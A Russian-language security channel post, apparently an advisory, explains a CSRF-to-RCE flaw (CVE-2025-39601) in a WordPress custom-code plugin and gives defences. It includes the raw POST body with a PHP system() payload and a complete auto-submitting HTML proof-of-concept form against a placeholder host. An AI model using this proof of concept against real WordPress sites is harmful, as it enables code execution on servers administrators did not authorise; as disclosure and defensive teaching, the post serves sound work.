TGViewer
Четыре луча Четыре луча @four_rays · 4.03K subscribers
Post #67 2.83K
Критическая уязвимость CVE-2025–39601 👾

CSRF-атаки все еще актуальны, особенно если мы говорим про плагины к популярным CMS. Сегодня расскажем, к чему они могут привести, на примере CVE-2025–39601.

CVE-2025–39601 — уязвимость подделки межсайтовых запросов (CSRF) в плагине WPFactory Custom CSS, JS и PHP для WordPress.

❗️ Уязвимы все версии до 2.4.1, рекомендуем обновиться.

Метрики

Base Score: 9,6
CWE: CWE-352


Как это работает


После установки плагина WPFactory Custom CSS, JS и PHP у администратора появляется возможность создавать собственные PHP скрипты на конечной точке /wp-admin/tools.php?page=alg-custom-php. Сам PHP код и другие параметры передаются в теле POST-запроса:
alg_custom_css_php_enabled=1&alg_custom_css_php_execute=plugins_loaded&alg_custom_css_php=<?php system(id); ?>&alg_ccjp_submit=php


В передаваемых данных при создании скрипта отсутствует CSRF-токен, нет и отдельного HTTP-заголовка или значения COOKIE, содержащего токен. Этот запрос можно будет подделать и создать скрипт от лица администратора, что приведет к RCE.

Пример

Классический сценарий атаки будет выглядеть так:
Администратор получает вредоносную ссылку на приложение -> администратор переходит по ссылке -> от лица администратора создаётся скрипт с вредоносным кодом, который приводит к RCE.


Вредоносное приложение имеет такую HTML-структуру:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability </title>
</head>
<body onload="document.forms[0].submit()">
<h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1 </h1>
<form action="http://XXX/wp-admin/tools.php?page=alg-custom-php" method="POST">
<input type="hidden" name="alg_custom_css_php_enabled" value="1">
<input type="hidden" name="alg_custom_css_php" value="<?php system('id'); ?>">
<input type="hidden" name="alg_ccjp_submit" value="php">
<noscript>
<input type="submit" value="Submit">
</noscript>
</form>
</body>
</html>

Код передается в блоке alg_custom_css_php. В данном случае, для примера, мы выведем результат команды id, который сможет увидеть любой пользователь приложения (Скриншот 1).

Этот POST-запрос будет полностью эмулировать легитимный запрос администратора, и только заголовок Origin будет содержать информацию о другом приложении (Скриншот 2).

Как защищаться

1️⃣ Не отсылать или ограничить отсылку COOKIE файлов сторонним сайтам или приложениям;

2️⃣ использовать CORS;

3️⃣ использовать CSRF-токен;

4️⃣ дополнительно проверять на валидность заголовки Origin, Referer.
  • 🔥 11
  • 👨‍💻 6
  • 👍 5
  • 👾 2
  • ❤ 1
  • 🤔 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →